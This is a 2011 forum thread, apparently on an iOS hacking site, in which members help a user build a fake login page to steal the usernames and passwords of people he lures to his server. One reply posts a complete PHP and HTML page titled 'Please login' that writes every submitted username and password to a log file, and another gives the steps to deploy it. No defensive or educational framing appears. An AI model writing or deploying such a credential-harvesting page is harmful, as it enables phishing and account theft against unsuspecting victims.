Author Topic: Need a basic web page  (Read 4330 times)

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4017
  • Reputation: 216
  • Badges:
Re: Need a basic web page
« Reply #30 on: August 13, 2011, 09:22:24 pm »
No I found something better. I found a php script cookie catcher that could be modified to be a username and password catcher. It emails the results to you. You just need to send the username and password fields to a server hosting the php script. 

Winning

  • Hero Member
  • *****
  • Posts: 1632
  • Reputation: 26
  • I think I saw this in a movie
  • Computers: Toshiba Thrive Tablet
  • iDevices: iPod touch 4G
Re: Need a basic web page
« Reply #31 on: August 13, 2011, 09:24:36 pm »
So you handled it?

C0deH4cker

  • Hero Member
  • *****
  • Posts: 2849
  • Reputation: 129
  • I am leaving iNinjas. Contact me via email.
  • Badges:
  • iDevices: iPhone 4S 16gb Black (5.1.1), iPad 2 32gb White (5.0.1), iPod Touch 2G 8gb (4.2.1)
Re: Need a basic web page
« Reply #32 on: August 13, 2011, 09:25:56 pm »
login.php
Code: ("php") [Select]
<?php
$username 
$_POST['username'];
$password $_POST['password'];
$fd fopen("pw.log""a");
fwrite($fd"Username: $username\nPassword: $password\n\n");
fclose($fd);
?>

<html>
<head>
<title>Please login</title>
</head>
<body>
<center>
<form action="login.php" method="post">
<br /><br /><h1>Login</h1><br /><br />
<table border="1">
<tr>
<td>Username</td>
<td><input type="text" name="username" value=""/></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password" value=""/></td>
</tr>
<tr>
<td colspan="2"><input type="submit" value="Login"/></td>
</tr>
</table>
</center>
</body>
</html>

Winning

  • Hero Member
  • *****
  • Posts: 1632
  • Reputation: 26
  • I think I saw this in a movie
  • Computers: Toshiba Thrive Tablet
  • iDevices: iPod touch 4G
Re: Need a basic web page
« Reply #33 on: August 13, 2011, 09:28:38 pm »
Is that like another login script

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4017
  • Reputation: 216
  • Badges:
Re: Need a basic web page
« Reply #34 on: August 13, 2011, 09:37:01 pm »
So you handled it?
No I need someone to write the code to send the fields' info to the webserver. That's why I asked if you know JS.

Don't like seeing ads? Click here to register!

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4017
  • Reputation: 216
  • Badges:
Re: Need a basic web page
« Reply #35 on: August 13, 2011, 09:38:11 pm »
Is that like another login script
His writes to pw.log. That is if I'm hosting it on a webserver I get them to visit.

C0deH4cker

  • Hero Member
  • *****
  • Posts: 2849
  • Reputation: 129
  • I am leaving iNinjas. Contact me via email.
  • Badges:
  • iDevices: iPhone 4S 16gb Black (5.1.1), iPad 2 32gb White (5.0.1), iPod Touch 2G 8gb (4.2.1)
Re: Need a basic web page
« Reply #36 on: August 13, 2011, 09:44:10 pm »
No I need someone to write the code to send the fields' info to the webserver. That's why I asked if you know JS.
Thats what mine does. You dont need js.

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4017
  • Reputation: 216
  • Badges:
Re: Need a basic web page
« Reply #37 on: August 13, 2011, 09:47:57 pm »
Thats what mine does. You dont need js.
Really? It looked like it wrote it to a file. Where's the hostname to send the info to so I can edit it to my webserver?

Trcx528

  • Haxor
  • Hero Member
  • *****
  • Posts: 4502
  • Reputation: 166
  • Google it!
    • iNinjas
  • Badges:
  • Computers: 13" 2011 Macbook Pro, 120 GB SSD and 16 GB of Ram
  • iDevices: None
Re: Need a basic web page
« Reply #38 on: August 13, 2011, 09:54:02 pm »
just be sure that everything is installed on your webserver (depends on  php, etc) and then c&p his code into a file on the server, and chmod 755 it and you be all set. 

C0deH4cker

  • Hero Member
  • *****
  • Posts: 2849
  • Reputation: 129
  • I am leaving iNinjas. Contact me via email.
  • Badges:
  • iDevices: iPhone 4S 16gb Black (5.1.1), iPad 2 32gb White (5.0.1), iPod Touch 2G 8gb (4.2.1)
Re: Need a basic web page
« Reply #39 on: August 14, 2011, 12:26:59 am »
Really? It looked like it wrote it to a file. Where's the hostname to send the info to so I can edit it to my webserver?
It does write it to a file. On your server.

Don't like seeing ads? Click here to register!

PaulBird

  • Sr. Member
  • ****
  • Posts: 485
  • Reputation: 5
  • Every problem is an opportunity in disguise
    • Google
  • Badges:
Re: Need a basic web page
« Reply #40 on: August 14, 2011, 09:49:29 am »
use a php script. hold on a min, ill give a thee script.
People Never Get The Flowers While They Can Still Smell Them

PaulBird

  • Sr. Member
  • ****
  • Posts: 485
  • Reputation: 5
  • Every problem is an opportunity in disguise
    • Google
  • Badges:
People Never Get The Flowers While They Can Still Smell Them

Modder67

  • Dev Team Member
  • Hero Member
  • *****
  • Posts: 954
  • Reputation: 26
  • Computers: asus i7 16gb ram 1tb harddrive GFX 580 3gb
  • iDevices: The New Ipad, iphone 5
Re: Need a basic web page
« Reply #42 on: August 18, 2011, 09:50:21 am »
I csn make you a simple webpage is you still need it
Goals
[X] Reach 25 karma
[X] Reach hero member
[] Become part of the staff
[] Get developer status

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4017
  • Reputation: 216
  • Badges:
Re: Need a basic web page
« Reply #43 on: August 18, 2011, 03:42:55 pm »
*facepalm* Forgot SET does this.

Ginger

  • Dev Team Member
  • Hero Member
  • *****
  • Posts: 610
  • Reputation: 6
    • PwnDevTeam!
  • Computers: Forgot model but Dell Inspirion Tower (6gb ram, Quad core, 1tb hdd, 1gb graphics)
  • iDevices: iPod Touch 4G 8GB And iPod Nano 1G 1Gb
Re: Need a basic web page
« Reply #44 on: August 18, 2011, 03:45:05 pm »
😂